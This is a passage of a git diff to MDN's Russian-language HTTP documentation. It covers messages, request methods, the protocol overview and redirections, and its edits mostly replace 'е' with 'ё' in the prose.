href="https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D1%81%D0%BF%D0%BE%D1%80%D1%82%D0%BD%D1%8B%D0%B9_%D1%83%D1%80%D0%BE%D0%B2%D0%B5%D0%BD%D1%8C">транспортного уровня</a> с гарантированной доставкой.</p> <div class="column-container"> <div class="column-half"> @@ -69,7 +69,7 @@ translation_of: Web/HTTP </ul> <span class="hidden"> </span><span class="hidden"> </span></dd> <dt><a href="/en-US/docs/Web/HTTP/Status">Коды ответа (HTTP response codes)</a></dt> - <dd>Коды ответа HTTP указывают на результат выполнения определенного HTTP-запроса. Ответы сгруппированы в пять категорий: информационные ответы, удачные ответы, перенаправления, ошибки клиента и ошибки сервера.</dd> + <dd>Коды ответа HTTP указывают на результат выполнения определённого HTTP-запроса. Ответы сгруппированы в пять категорий: информационные ответы, удачные ответы, перенаправления, ошибки клиента и ошибки сервера.</dd> <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Директивы CSP</a></dt> <dd>Поля заголовка ответа {{HTTPHeader("Content-Security-Policy")}} позволяют администраторам веб-сайтов контролировать ресурсы, которые браузер пользователя может загрузить на данную веб-страницу. За некоторым исключением, эти политики связаны с указанием сервера-источника и адресов доступа (обращения) скриптов.</dd> </dl> diff --git a/files/ru/web/http/messages/index.html b/files/ru/web/http/messages/index.html index e41f8ceecf..2b63856539 100644 --- a/files/ru/web/http/messages/index.html +++ b/files/ru/web/http/messages/index.html @@ -36,7 +36,7 @@ translation_of: Web/HTTP/Messages <h3 id="Стартовая_строка">Стартовая строка</h3> -<p>HTTP запросы - это сообщения, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера. Их стартовая строка состоит из трех элементов:</p> +<p>HTTP запросы - это сообщения, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера. Их стартовая строка состоит из трёх элементов:</p> <ol> <li> @@ -44,7 +44,7 @@ translation_of: Web/HTTP/Messages </li> <li><em>Цель запроса</em>, обычно {{glossary("URL")}}, или абсолютный путь протокола, порт и домен обычно характеризуются контекстом запроса. Формат цели запроса зависит от используемого HTTP-метода. Это может быть <ul> - <li>Абсолютный путь, за которым следует <code>'?'</code> и строка запроса. Это самая распространенная форма, называемая <em>исходной формой</em> (<em>origin form</em>) . Используется с методами <code>GET</code>, <code>POST</code>, <code>HEAD</code>, и <code>OPTIONS</code>.<br> + <li>Абсолютный путь, за которым следует <code>'?'</code> и строка запроса. Это самая распространённая форма, называемая <em>исходной формой</em> (<em>origin form</em>) . Используется с методами <code>GET</code>, <code>POST</code>, <code>HEAD</code>, и <code>OPTIONS</code>.<br> <code>POST / HTTP 1.1<br> GET /background.png HTTP/1.0<br> HEAD /test.html?query=alibaba HTTP/1.1<br> @@ -53,7 +53,7 @@ translation_of: Web/HTTP/Messages <code>GET http://developer.mozilla.org/ru/docs/Web/HTTP/Messages HTTP/1.1</code></li> <li>Компонента URL "authority", состоящая из имени домена и (необязательно) порта (предваряемого символом <code>':'</code>), <em>называется authority form</em>. Используется только с методом <code>CONNECT</code> при установке туннеля HTTP.<br> <code>CONNECT developer.mozilla.org:80 HTTP/1.1</code></li> - <li>Форма звездочки (<em>asterisk form)</em>, просто "звездочка" (<code>'*'</code>) используется <code>с методом OPTIONS</code> и представляет сервер.<br> + <li>Форма звёздочки (<em>asterisk form)</em>, просто "звёздочка" (<code>'*'</code>) используется <code>с методом OPTIONS</code> и представляет сервер.<br> <code>OPTIONS * HTTP/1.1</code></li> </ul> </li> @@ -133,7 +133,7 @@ translation_of: Web/HTTP/Messages <ul> <li>Заголовки, в отличие от тел, не сжимаются.</li> <li>Заголовки, которые зачастую практически совпадают у идущих подряд сообщений, приходится передавать по отдельности.</li> - <li>Мультиплексность невозможна. Приходится открывать соединение для каждого сообщения, а теплые (warm) соединения TCP эффективнее холодных (cold).</li> + <li>Мультиплексность невозможна. Приходится открывать соединение для каждого сообщения, а тёплые (warm) соединения TCP эффективнее холодных (cold).</li> </ul> <p>HTTP/2 переходит на новый уровень: он делит сообщения HTTP/1.x на фреймы, которые внедряются в поток. Фреймы данных из заголовков отделены друг от друга, что позволяет сжимать заголовки. Несколько потоков можно объединять друг с другом - такой процесс называется мультиплексированием - что позволяет более эффективно использовать TCP-соединения.</p> @@ -144,4 +144,4 @@ translation_of: Web/HTTP/Messages <h2 id="Заключение">Заключение</h2> -<p>Сообщения HTTP играют ключевую роль в использовании HTTP; они имеют простую структуру и хорошо расширяемы. Механизм фреймов в HTTP/2 добавляет еще один промежуточный уровень между синтаксисом HTTP/1.x и используемым им транспортным протоколом, не проводя фундаментальных изменений: создается надстройка над уже зарекомендовавшими себя методами.</p> +<p>Сообщения HTTP играют ключевую роль в использовании HTTP; они имеют простую структуру и хорошо расширяемы. Механизм фреймов в HTTP/2 добавляет ещё один промежуточный уровень между синтаксисом HTTP/1.x и используемым им транспортным протоколом, не проводя фундаментальных изменений: создаётся надстройка над уже зарекомендовавшими себя методами.</p> diff --git a/files/ru/web/http/methods/connect/index.html b/files/ru/web/http/methods/connect/index.html index 755ffb6f10..21693bb37a 100644 --- a/files/ru/web/http/methods/connect/index.html +++ b/files/ru/web/http/methods/connect/index.html @@ -70,7 +70,7 @@ Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre> <h2 id="Совместимость_с_браузером"><span class="short_text" id="result_box" lang="ru"><span>Совместимость с браузером</span></span></h2> -<p class="hidden"><span id="result_box" lang="ru"><span>Таблица совместимости на этой странице создается из структурированных данных.</span> <span>Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</span></span></p> +<p class="hidden"><span id="result_box" lang="ru"><span>Таблица совместимости на этой странице создаётся из структурированных данных.</span> <span>Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</span></span></p> <p>{{Compat("http.methods.CONNECT")}}</p> diff --git a/files/ru/web/http/methods/delete/index.html b/files/ru/web/http/methods/delete/index.html index e263d3c2e0..912bdd96e1 100644 --- a/files/ru/web/http/methods/delete/index.html +++ b/files/ru/web/http/methods/delete/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTTP/Methods/DELETE <p>Если метод <code>DELETE</code> успешно выполняется, то возможны следующие коды состояния ответа:</p> <ul> - <li> {{HTTPStatus("202")}} (<code>Accepted</code>) код состояния, если удаление будет успешным, но еще не выполнено.</li> + <li> {{HTTPStatus("202")}} (<code>Accepted</code>) код состояния, если удаление будет успешным, но ещё не выполнено.</li> <li> {{HTTPStatus("204")}} (<code>No Content</code>) код ответа, если удаление было выполнено, но тело ответа отсутствует.</li> <li> {{HTTPStatus("200")}} (<code>OK</code>) код ответа, если удаление было выполнено, и ответ содержит код и объект описывающий состояние.</li> </ul> diff --git a/files/ru/web/http/methods/options/index.html b/files/ru/web/http/methods/options/index.html index a6f1d95b77..48dbde81de 100644 --- a/files/ru/web/http/methods/options/index.html +++ b/files/ru/web/http/methods/options/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Methods/OPTIONS --- <div>{{HTTPSidebar}}</div> -<p><strong>HTTP-метод</strong><strong> <code>OPTIONS</code> </strong>используется для описания параметров соединения с целевым ресурсом. Клиент может указать особый URL для обработки метода OPTIONS, или * (звездочку) чтобы указать весь сервер целиком.</p> +<p><strong>HTTP-метод</strong><strong> <code>OPTIONS</code> </strong>используется для описания параметров соединения с целевым ресурсом. Клиент может указать особый URL для обработки метода OPTIONS, или * (звёздочку) чтобы указать весь сервер целиком.</p> <table class="properties"> <tbody> @@ -48,7 +48,7 @@ OPTIONS * HTTP/1.1 <h2 id="Примеры">Примеры</h2> -<h3 id="Определение_разрешенных_сервером_методов_запроса">Определение разрешенных сервером методов запроса</h3> +<h3 id="Определение_разрешённых_сервером_методов_запроса">Определение разрешённых сервером методов запроса</h3> <p>Для того, чтобы узнать какие методы запросов поддерживаются сервером, можно воспользоваться curl направить OPTIONS запрос:</p> diff --git a/files/ru/web/http/methods/patch/index.html b/files/ru/web/http/methods/patch/index.html index bbf8a73ad6..63c8ce82aa 100644 --- a/files/ru/web/http/methods/patch/index.html +++ b/files/ru/web/http/methods/patch/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTTP/Methods/PATCH <p>Чтобы обозначить, что сервер поддерживает <code>PATCH</code>, можно добавить этот метод в список заголовков ответа {{HTTPHeader("Allow")}} или {{HTTPHeader("Access-Control-Allow-Methods")}} (для CORS).</p> -<p>Другой (неявный) индикатор, что <code>PATCH</code> разрешён, является наличие заголовка {{HTTPHeader("Accept-Patch")}}, где описано, в каком формате сервер принимает измененные документы.</p> +<p>Другой (неявный) индикатор, что <code>PATCH</code> разрешён, является наличие заголовка {{HTTPHeader("Accept-Patch")}}, где описано, в каком формате сервер принимает изменённые документы.</p> <table class="properties"> <tbody> diff --git a/files/ru/web/http/methods/post/index.html b/files/ru/web/http/methods/post/index.html index 5e0778692d..697b705b8f 100644 --- a/files/ru/web/http/methods/post/index.html +++ b/files/ru/web/http/methods/post/index.html @@ -11,12 +11,12 @@ translation_of: Web/HTTP/Methods/POST <p><strong>HTTP-метод <code>POST</code></strong> предназначен для отправки данных на сервер. Тип тела запроса указывается в заголовке {{HTTPHeader("Content-Type")}}.</p> -<p>Разница между {{HTTPMethod("PUT")}} и <code>POST</code> состоит в том, что <code>PUT</code> является идемпотентным: повторное его применение дает тот же результат, что и при первом применении (то есть у метода нет <em>побочных эффектов</em>), тогда как повторный вызов одного и того же метода <code>POST</code> может иметь такие эффекты, как например, оформление одного и того же заказа несколько раз.</p> +<p>Разница между {{HTTPMethod("PUT")}} и <code>POST</code> состоит в том, что <code>PUT</code> является идемпотентным: повторное его применение даёт тот же результат, что и при первом применении (то есть у метода нет <em>побочных эффектов</em>), тогда как повторный вызов одного и того же метода <code>POST</code> может иметь такие эффекты, как например, оформление одного и того же заказа несколько раз.</p> -<p><span id="result_box" lang="ru"><span title="A POST request is typically sent via an HTML form and results in a change on the server.">Запрос <code>POST</code> обычно отправляется через форму HTML и приводит к изменению на сервере. </span><span title="In this case, the content type is selected by putting the adequate string in the enctype attribute of the <form> element or the formenctype attribute of the <input> or <button> elements:">В этом случае тип содержимого выбирается путем размещения соответствующей строки в атрибуте {{htmlattrxref ("enctype", "form")}} элемента {{HTMLElement ("form")}} или {{htmlattrxref ("formenctype", "input")}} атрибута элементов {{HTMLElement ("input")}} или {{HTMLElement ("button")}}:</span></span></p> +<p><span id="result_box" lang="ru"><span title="A POST request is typically sent via an HTML form and results in a change on the server.">Запрос <code>POST</code> обычно отправляется через форму HTML и приводит к изменению на сервере. </span><span title="In this case, the content type is selected by putting the adequate string in the enctype attribute of the <form> element or the formenctype attribute of the <input> or <button> elements:">В этом случае тип содержимого выбирается путём размещения соответствующей строки в атрибуте {{htmlattrxref ("enctype", "form")}} элемента {{HTMLElement ("form")}} или {{htmlattrxref ("formenctype", "input")}} атрибута элементов {{HTMLElement ("input")}} или {{HTMLElement ("button")}}:</span></span></p> <ul> - <li><span title="application/x-www-form-urlencoded: the values are encoded in key-value tuples separated by '&', with a '=' between the key and the value."><code>application/x-www-form-urlencoded</code>: значения кодируются в кортежах с ключом, разделенных символом <code>'&'</code>, с <code>'='</code> между ключом и значением. </span><span title="Non-alphanumeric characters are percent encoded: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead)">Не буквенно-цифровые символы - {{glossary ("percent encoded")}}: это причина, по которой этот тип не подходит для использования с двоичными данными (вместо этого используйте <code>multipart/form-data</code>)</span></li> + <li><span title="application/x-www-form-urlencoded: the values are encoded in key-value tuples separated by '&', with a '=' between the key and the value."><code>application/x-www-form-urlencoded</code>: значения кодируются в кортежах с ключом, разделённых символом <code>'&'</code>, с <code>'='</code> между ключом и значением. </span><span title="Non-alphanumeric characters are percent encoded: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead)">Не буквенно-цифровые символы - {{glossary ("percent encoded")}}: это причина, по которой этот тип не подходит для использования с двоичными данными (вместо этого используйте <code>multipart/form-data</code>)</span></li> <li><code><span title="multipart/form-data">multipart/form-data</span></code>: каждое значение посылается как блок данных ("body part"), с заданными пользовательским клиентом разделителем ("boundary"), разделяющим каждую часть. Эти ключи даются в заголовки <code>Content-Disposition</code> каждой части</li> <li><code><span title="text/plain">text/plain</span></code></li> </ul> diff --git a/files/ru/web/http/methods/put/index.html b/files/ru/web/http/methods/put/index.html index c759172730..60a1d0df58 100644 --- a/files/ru/web/http/methods/put/index.html +++ b/files/ru/web/http/methods/put/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Methods/PUT --- <div>{{HTTPSidebar}}</div> -<div><strong>Метод запроса HTTP PUT</strong> создает новый ресурс или заменяет представление целевого ресурса, данными представленными в теле запроса.</div> +<div><strong>Метод запроса HTTP PUT</strong> создаёт новый ресурс или заменяет представление целевого ресурса, данными представленными в теле запроса.</div> <div></div> @@ -63,7 +63,7 @@ Content-length: 16 <h3 id="Ответ">Ответ</h3> -<p>Если целевой ресурс не содержит отправляемой сущности и <code>PUT</code> запрос создает ее, то сервер должен проинформировать клиентское приложение о создании, отправив в ответ {{HTTPStatus("201")}} (<code>Created</code>).</p> +<p>Если целевой ресурс не содержит отправляемой сущности и <code>PUT</code> запрос создаёт её, то сервер должен проинформировать клиентское приложение о создании, отправив в ответ {{HTTPStatus("201")}} (<code>Created</code>).</p> <pre class="newpage">HTTP/1.1 201 Created Content-Location: /new.html diff --git a/files/ru/web/http/overview/index.html b/files/ru/web/http/overview/index.html index e4b79afce4..28144e2bc7 100644 --- a/files/ru/web/http/overview/index.html +++ b/files/ru/web/http/overview/index.html @@ -16,7 +16,7 @@ translation_of: Web/HTTP/Overview <p>Клиенты и серверы взаимодействуют, обмениваясь одиночными сообщениями (а не потоком данных). Сообщения, отправленные клиентом, обычно веб-браузером, называются <em>запросами</em>, а сообщения, отправленные сервером, называются <em>ответами</em>.</p> -<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Хотя HTTP был разработан еще в начале 1990-х годов, за счет своей расширяемости в дальнейшем он все время совершенствовался. HTTP является протоколом прикладного уровня, который чаще всего использует возможности другого протокола - {{glossary("TCP")}} (или {{glossary("TLS")}} - защищённый TCP) - для пересылки своих сообщений, однако любой другой надежный транспортный протокол теоретически может быть использован для доставки таких сообщений. Благодаря своей расширяемости, он используется не только для получения клиентом гипертекстовых документов, изображений и видео, но и для передачи содержимого серверам, например, с помощью HTML-форм. HTTP также может быть использован для получения только частей документа с целью обновления веб-страницы по запросу (например посредством AJAX запроса).</p> +<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Хотя HTTP был разработан ещё в начале 1990-х годов, за счёт своей расширяемости в дальнейшем он все время совершенствовался. HTTP является протоколом прикладного уровня, который чаще всего использует возможности другого протокола - {{glossary("TCP")}} (или {{glossary("TLS")}} - защищённый TCP) - для пересылки своих сообщений, однако любой другой надёжный транспортный протокол теоретически может быть использован для доставки таких сообщений. Благодаря своей расширяемости, он используется не только для получения клиентом гипертекстовых документов, изображений и видео, но и для передачи содержимого серверам, например, с помощью HTML-форм. HTTP также может быть использован для получения только частей документа с целью обновления веб-страницы по запросу (например посредством AJAX запроса).</p> <h2 id="Составляющие_систем_основанных_на_HTTP">Составляющие систем, основанных на HTTP</h2> @@ -60,23 +60,23 @@ translation_of: Web/HTTP/Overview <h3 id="HTTP_-_прост">HTTP - прост</h3> -<p>Даже с большей сложностью, введенной в HTTP/2 путем инкапсуляции HTTP-сообщений в фреймы, HTTP, как правило, прост и удобен для восприятия человеком. HTTP-сообщения могут читаться и пониматься людьми, обеспечивая более легкое тестирование разработчиков и уменьшенную сложность для новых пользователей.</p> +<p>Даже с большей сложностью, введённой в HTTP/2 путём инкапсуляции HTTP-сообщений в фреймы, HTTP, как правило, прост и удобен для восприятия человеком. HTTP-сообщения могут читаться и пониматься людьми, обеспечивая более лёгкое тестирование разработчиков и уменьшенную сложность для новых пользователей.</p> <h3 id="HTTP_-_расширяемый">HTTP - расширяемый</h3> -<p>Введенные в HTTP/1.0 <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовки</a> сделали этот протокол легким для расширения и экспериментирования. Новая функциональность может быть даже введена простым соглашением между клиентом и сервером о семантике нового заголовка.</p> +<p>Введённые в HTTP/1.0 <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовки</a> сделали этот протокол лёгким для расширения и экспериментирования. Новая функциональность может быть даже введена простым соглашением между клиентом и сервером о семантике нового заголовка.</p> <h3 id="HTTP_не_имеет_состояния_но_имеет_сессию">HTTP не имеет состояния, но имеет сессию</h3> -<p>HTTP не имеет состояния: не существует связи между двумя запросами, которые последовательно выполняются по одному соединению. Из этого немедленно следует возможность проблем для пользователя, пытающегося взаимодействовать с определенной страницей последовательно, например, при использовании корзины в электронном магазине. Но хотя ядро HTTP не имеет состояния, куки позволяют использовать сессии с сохранением состояния. Используя расширяемость заголовков, куки добавляются к рабочему потоку, позволяя сессии на каждом HTTP-запросе делиться некоторым контекстом, или состоянием.</p> +<p>HTTP не имеет состояния: не существует связи между двумя запросами, которые последовательно выполняются по одному соединению. Из этого немедленно следует возможность проблем для пользователя, пытающегося взаимодействовать с определённой страницей последовательно, например, при использовании корзины в электронном магазине. Но хотя ядро HTTP не имеет состояния, куки позволяют использовать сессии с сохранением состояния. Используя расширяемость заголовков, куки добавляются к рабочему потоку, позволяя сессии на каждом HTTP-запросе делиться некоторым контекстом, или состоянием.</p> <h3 id="HTTP_и_соединения">HTTP и соединения</h3> -<p>Соединение управляется на транспортном уровне, и потому принципиально выходит за границы HTTP. Хотя HTTP не требует, чтобы базовый транспортного протокол был основан на соединениях, требуя только <em>надёжность</em>, или отсутствие потерянных сообщений (т.е. как минимум представление ошибки). Среди двух наиболее распространенных транспортных протоколов Интернета, TCP надёжен, а UDP -- нет. HTTP впоследствии полагается на стандарт TCP, являющийся основанным на соединениях, несмотря на то, что соединение не всегда требуется.</p> +<p>Соединение управляется на транспортном уровне, и потому принципиально выходит за границы HTTP. Хотя HTTP не требует, чтобы базовый транспортного протокол был основан на соединениях, требуя только <em>надёжность</em>, или отсутствие потерянных сообщений (т.е. как минимум представление ошибки). Среди двух наиболее распространённых транспортных протоколов Интернета, TCP надёжен, а UDP -- нет. HTTP впоследствии полагается на стандарт TCP, являющийся основанным на соединениях, несмотря на то, что соединение не всегда требуется.</p> -<p>HTTP/1.0 открывал TCP-соединение для каждого обмена запросом/ответом, имея два важных недостатка: открытие соединения требует нескольких обменов сообщениями, и потому медленно, хотя становится более эффективным при отправке нескольких сообщений, или при регулярной отправке сообщений: <em>теплые</em> соединения более эффективны, чем <em>холодные</em>.</p> +<p>HTTP/1.0 открывал TCP-соединение для каждого обмена запросом/ответом, имея два важных недостатка: открытие соединения требует нескольких обменов сообщениями, и потому медленно, хотя становится более эффективным при отправке нескольких сообщений, или при регулярной отправке сообщений: <em>тёплые</em> соединения более эффективны, чем <em>холодные</em>.</p> -<p>Для смягчения этих недостатков, HTTP/1.1 предоставил конвейерную обработку (которую оказалось трудно реализовать) и устойчивые соединения: лежащее в основе TCP соединение можно частично контролировать через заголовок {{HTTPHeader("Connection")}}. HTTP/2 сделал следующий шаг, добавив мультиплексирование сообщений через простое соединение, помогающее держать соединение теплым и более эффективным.</p> +<p>Для смягчения этих недостатков, HTTP/1.1 предоставил конвейерную обработку (которую оказалось трудно реализовать) и устойчивые соединения: лежащее в основе TCP соединение можно частично контролировать через заголовок {{HTTPHeader("Connection")}}. HTTP/2 сделал следующий шаг, добавив мультиплексирование сообщений через простое соединение, помогающее держать соединение тёплым и более эффективным.</p> <p>Проводятся эксперименты по разработке лучшего транспортного протокола, более подходящего для HTTP. Например, Google экспериментирует с <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>, которая основана на UDP, для предоставления более надёжного и эффективного транспортного протокола.</p> @@ -96,7 +96,7 @@ translation_of: Web/HTTP/Overview <li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Прокси и туннелирование</a></em><br> Серверы и/или клиенты часто располагаются в интернете, и скрывают свои истинные IP-адреса от других. HTTP запросы идут через прокси для пересечения этого сетевого барьера. Не все прокси -- HTTP прокси. SOCKS-протокол, например, оперирует на более низком уровне. Другие, как, например, ftp, могут быть обработаны этими прокси.</li> <li><em>Сессии</em><br> - Использование HTTP кук позволяет связать запрос с состоянием на сервере. Это создает сессию, хотя ядро HTTP -- протокол без состояния. Это полезно не только для корзин в интернет-магазинах, но также для любых сайтов, позволяющих пользователю настроить выход.</li> + Использование HTTP кук позволяет связать запрос с состоянием на сервере. Это создаёт сессию, хотя ядро HTTP -- протокол без состояния. Это полезно не только для корзин в интернет-магазинах, но также для любых сайтов, позволяющих пользователю настроить выход.</li> </ul> <h2 id="HTTP_поток">HTTP поток</h2> @@ -125,13 +125,13 @@ Content-Type: text/html <li>Закрывает или переиспользует соединение для дальнейших запросов.</li> </ol> -<p>Если активирован HTTP-конвейер, несколько запросов могут быть отправлены без ожидания получения первого ответа целиком. HTTP-конвейер тяжело внедряется в существующие сети, где старые куски ПО сосуществуют с современными версиями. HTTP-конвейер был заменен в HTTP/2 на более надежные мультиплексные запросы во фрейме.</p> +<p>Если активирован HTTP-конвейер, несколько запросов могут быть отправлены без ожидания получения первого ответа целиком. HTTP-конвейер тяжело внедряется в существующие сети, где старые куски ПО сосуществуют с современными версиями. HTTP-конвейер был заменён в HTTP/2 на более надёжные мультиплексные запросы во фрейме.</p> <h2 id="HTTP_сообщения">HTTP сообщения</h2> <p>HTTP/1.1 и более ранние HTTP сообщения человеко-читаемы. В версии HTTP/2 эти сообщения встроены в новую бинарную структуру, фрейм, позволяющий оптимизации, такие как компрессия заголовков и мультиплексирование. Даже если часть оригинального HTTP сообщения отправлена в этой версии HTTP, семантика каждого сообщения не изменяется и клиент воссоздаёт (виртуально) оригинальный HTTP-запрос. Это также полезно для понимания HTTP/2 сообщений в формате HTTP/1.1.</p> -<p>Существует два типа HTTP сообщений, запросы и ответы, каждый в своем формате.</p> +<p>Существует два типа HTTP сообщений, запросы и ответы, каждый в своём формате.</p> <h3 id="Запросы">Запросы</h3> @@ -167,6 +167,6 @@ Content-Type: text/html <h2 id="Вывод">Вывод</h2> -<p>HTTP -- легкий в использовании расширяемый протокол. Структура клиент-сервера, вместе со способностью к простому добавлению заголовков, позволяет HTTP продвигаться вместе с расширяющимися возможностями Сети.</p> +<p>HTTP -- лёгкий в использовании расширяемый протокол. Структура клиент-сервера, вместе со способностью к простому добавлению заголовков, позволяет HTTP продвигаться вместе с расширяющимися возможностями Сети.</p> -<p>Хотя HTTP/2 добавляет некоторую сложность, встраивая HTTP сообщения во фреймы для улучшения производительности, базовая структура сообщений осталась с HTTP/1.0. Сессионный поток остается простым, позволяя исследовать и отлаживать с простым <a href="/en-US/docs/Tools/Network_Monitor">монитором HTTP-сообщений</a>.</p> +<p>Хотя HTTP/2 добавляет некоторую сложность, встраивая HTTP сообщения во фреймы для улучшения производительности, базовая структура сообщений осталась с HTTP/1.0. Сессионный поток остаётся простым, позволяя исследовать и отлаживать с простым <a href="/en-US/docs/Tools/Network_Monitor">монитором HTTP-сообщений</a>.</p> diff --git a/files/ru/web/http/redirections/index.html b/files/ru/web/http/redirections/index.html index aa1a214099..24d77f80f5 100644 --- a/files/ru/web/http/redirections/index.html +++ b/files/ru/web/http/redirections/index.html @@ -53,7 +53,7 @@ translation_of: Web/HTTP/Redirections <h3 id="Временные_перенаправления">Временные перенаправления</h3> -<p>Иногда, доступ к запрашиваемому ресурсу не может быть предоставлен из определенного места, но может быть предоставлен из другого. В этом случае, могут быть использованы временные перенаправления. Поисковые роботы не запоминают новую, временную ссылку. Временные перенаправления также используются, когда создаются, обновляются, или удаляются ресурсы, которые представляют временные страницы.</p> +<p>Иногда, доступ к запрашиваемому ресурсу не может быть предоставлен из определённого места, но может быть предоставлен из другого. В этом случае, могут быть использованы временные перенаправления. Поисковые роботы не запоминают новую, временную ссылку. Временные перенаправления также используются, когда создаются, обновляются, или удаляются ресурсы, которые представляют временные страницы.</p> <table class="standard-table"> <thead> @@ -111,18 +111,18 @@ translation_of: Web/HTTP/Redirections <tr> <td><code>304</code></td> <td><code>Not Modified</code></td> - <td>Обновление кеша: означает, что значение кеша все еще актуально и может быть использовано.</td> + <td>Обновление кеша: означает, что значение кеша все ещё актуально и может быть использовано.</td> </tr> </tbody> </table> <h2 id="Альтернативные_способы_указания_перенаправлений">Альтернативные способы указания перенаправлений</h2> -<p>HTTP перенаправления это не единственный способ переадресации. Есть еще два метода: HTML перенаправления используют элемент {{HTMLElement("meta")}} , и JavaScript перенаправления используют <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>.</p> +<p>HTTP перенаправления это не единственный способ переадресации. Есть ещё два метода: HTML перенаправления используют элемент {{HTMLElement("meta")}} , и JavaScript перенаправления используют <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>.</p> <h3 id="HTML_перенаправления">HTML перенаправления</h3> -<p>HTTP перенаправления более предпочтительный способ создания перенаправлений, но, иногда, у веб-разработчиков нету контроля над сервером или возможности настроить его. Для таких особых случаев, разработчики могут создать HTML страницу с элементом {{HTMLElement("meta")}} и установить атрибуту {{htmlattrxref("http-equiv", "meta")}} значение <code>refresh</code> в блоке {{HTMLElement("head")}}. Когда страница отображается, браузер найдет этот элемент и перейдет на указанную страницу.</p> +<p>HTTP перенаправления более предпочтительный способ создания перенаправлений, но, иногда, у веб-разработчиков нету контроля над сервером или возможности настроить его. Для таких особых случаев, разработчики могут создать HTML страницу с элементом {{HTMLElement("meta")}} и установить атрибуту {{htmlattrxref("http-equiv", "meta")}} значение <code>refresh</code> в блоке {{HTMLElement("head")}}. Когда страница отображается, браузер найдёт этот элемент и перейдёт на указанную страницу.</p> <pre class="brush: html"><head> <meta http-equiv="refresh" content="0; URL=http://www.example.com/" /> @@ -143,14 +143,14 @@ translation_of: Web/HTTP/Redirections <pre class="brush: js">window.location = "http://www.example.com/";</pre> -<p>Как и HTML перенаправления, этот тип не будет работать на всех ресурсах, и очевидно, что работает только на стороне клиента, который выполнит JavaScript. С другой стороны, вы можете вызвать перенаправление, только тогда, когда исполнится определенное условие.</p> +<p>Как и HTML перенаправления, этот тип не будет работать на всех ресурсах, и очевидно, что работает только на стороне клиента, который выполнит JavaScript. С другой стороны, вы можете вызвать перенаправление, только тогда, когда исполнится определённое условие.</p> <h3 id="Приоритетность">Приоритетность</h3> -<p>При использовании трех возможных способов URL перенаправления, некоторые методы могут быть вызваны одновременно, но какой из них будет применен первым? Порядок приоритетов следующий:</p> +<p>При использовании трёх возможных способов URL перенаправления, некоторые методы могут быть вызваны одновременно, но какой из них будет применён первым? Порядок приоритетов следующий:</p> <ol> - <li>HTTP перенаправления всегда выполняются первыми, пока еще страница даже не была передана, и конечно же, пока еще не прочитана.</li> + <li>HTTP перенаправления всегда выполняются первыми, пока ещё страница даже не была передана, и конечно же, пока ещё не прочитана.</li> <li>HTML перенаправления ({{HTMLElement("meta")}}) выполняются только, если перенаправление не было в выполнено в HTTP.</li> <li>JavaScript перенаправления используются как последняя возможность перенаправления, и работают только если разрешено выполнение JavaScript на клиентской стороне.</li> </ol> @@ -168,14 +168,14 @@ translation_of: Web/HTTP/Redirections <p>Связывание доменов может быть необходимым по нескольким причинам:</p> <ul> - <li>Расширение вашего сайта. Распространенный случай, когда ваш сайт находится под доменом <code>www.example.com</code> , а доступ к страницам должен быть возможным также из <code>example.com</code> . В этом случае создаются перенаправления для страниц из <code>example.com</code> к страницам <code>www.example.com</code>. Вы также можете предоставлять обычно используемые имена синонимов или частые опечатки ваших доменных имен.</li> + <li>Расширение вашего сайта. Распространённый случай, когда ваш сайт находится под доменом <code>www.example.com</code> , а доступ к страницам должен быть возможным также из <code>example.com</code> . В этом случае создаются перенаправления для страниц из <code>example.com</code> к страницам <code>www.example.com</code>. Вы также можете предоставлять обычно используемые имена синонимов или частые опечатки ваших доменных имен.</li> <li>Переезд на другой домен. К примеру, ваша компания была переименована и вы хотите чтобы люди которые обычно использовали старый сайт компании находили вас под новым именем.</li> - <li>Принужденный HTTPS. Запросы к HTTP версии вашего сайта буду перенаправлены к HTTPS версии.</li> + <li>Принуждённый HTTPS. Запросы к HTTP версии вашего сайта буду перенаправлены к HTTPS версии.</li> </ul> <h3 id="Сохранения_ссылок_рабочими">Сохранения ссылок рабочими</h3> -<p>Когда вы изменяете структуру веб-сайта, URL адреса ресурсов меняются. Даже, если вы можете обновить внутренние ссылки вашего сайта в соответствии с новой схемой имен, у вас нет контроля на URL адресами используемыми внешними ресурсами. Вы не хотите, чтобы эти ссылки не работали, так как они приносят вам ценных пользователей (и помогают вашей SEO), так что вы устанавливаете перенаправления из старых URL адресов на новые.</p> +<p>Когда вы изменяете структуру веб-сайта, URL адреса ресурсов меняются. Даже, если вы можете обновить внутренние ссылки вашего сайта в соответствии с новой схемой имён, у вас нет контроля на URL адресами используемыми внешними ресурсами. Вы не хотите, чтобы эти ссылки не работали, так как они приносят вам ценных пользователей (и помогают вашей SEO), так что вы устанавливаете перенаправления из старых URL адресов на новые.</p> <div class="note"> <p>Не смотря на то, что данный метод работает также для внутренних ссылок, вы должны избегать внутренних перенаправлений. Перенаправления имеют большое влияние на производительность, и если вы 